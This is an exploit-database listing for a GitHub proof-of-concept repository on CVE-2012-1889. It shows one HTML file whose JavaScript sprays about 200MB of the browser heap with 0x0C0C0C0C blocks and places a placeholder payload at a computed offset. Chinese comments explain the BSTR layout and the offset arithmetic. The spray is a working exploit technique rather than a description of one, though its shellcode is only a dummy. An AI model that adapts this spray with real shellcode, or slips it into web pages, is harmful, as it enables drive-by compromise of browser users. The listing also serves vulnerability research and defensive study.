Exploit database

GH-c058284fbf0a395573bffdd2401867f1

l-iberty/cve-2012-1889

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2012-1889

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files1
l-iberty/cve-2012-1889Revision 1cd42b40c10b

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

heap_spray/scripts/test.html

HTML · 1,564 bytes
<!DOCTYPE html>
<html>
<head>
	<title>TEST</title>
</head>
<body>
<script type="text/javascript">
var total_size = 0x100000 * 200; // 200MB
var heap_chunk_size = 0x80000;
var block_size = 0x1000;
var off = 0xbe8 / 2; // 0C0C0C0C到UserPtr+4的偏移=(0C0C0C0C-xxxx0020 - 4) % 0x10000 = 0xBE8. UserPtr指向BSTR字符串对象的首地址, 还要跳过开头4字节的size域.
var code = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444"); // 'AAAABBBBCCCCDDDD'
var padding = unescape("%u0C0C%u0C0C");

while (padding.length < block_size / 2) {
	padding += padding;
}

// 把`code`覆盖到`padding`偏移`off`处
var block = padding.substring(0, off) +  code + padding.substring(off, padding.length - code.length);
padding = "";
for (var i = 0; i < heap_chunk_size / block_size; ++i) {
	padding += block;
}

// BSTR字符串对象`padding`的`length`是Unicode串的长度, 整个BSTR对象的实际长度是:
// [4字节size域] + [padding.length*2字节的Unicode串] + [2字节结束符(0x00 0x00)]
// 要使得BSTR对象的实际长度为`heap_chunk_size`, 就需要截断6个字节. 另外, 堆结构首部
// 有32字节元信息, 32字节之后才是用户分配的数据, 所以还要把`padding`截断32字节才能保
// 证一个堆结构的大小为`heap_chunk_size`
padding = padding.substring(0, (heap_chunk_size - 6 - 32)/2);

// Spray
var heap_chunks = new Array();
for (var i = 0; i < total_size / heap_chunk_size; ++i) {
	heap_chunks[i] = padding.substring(0, padding.length);
}
document.write("Spray done");
</script>
</body>
</html>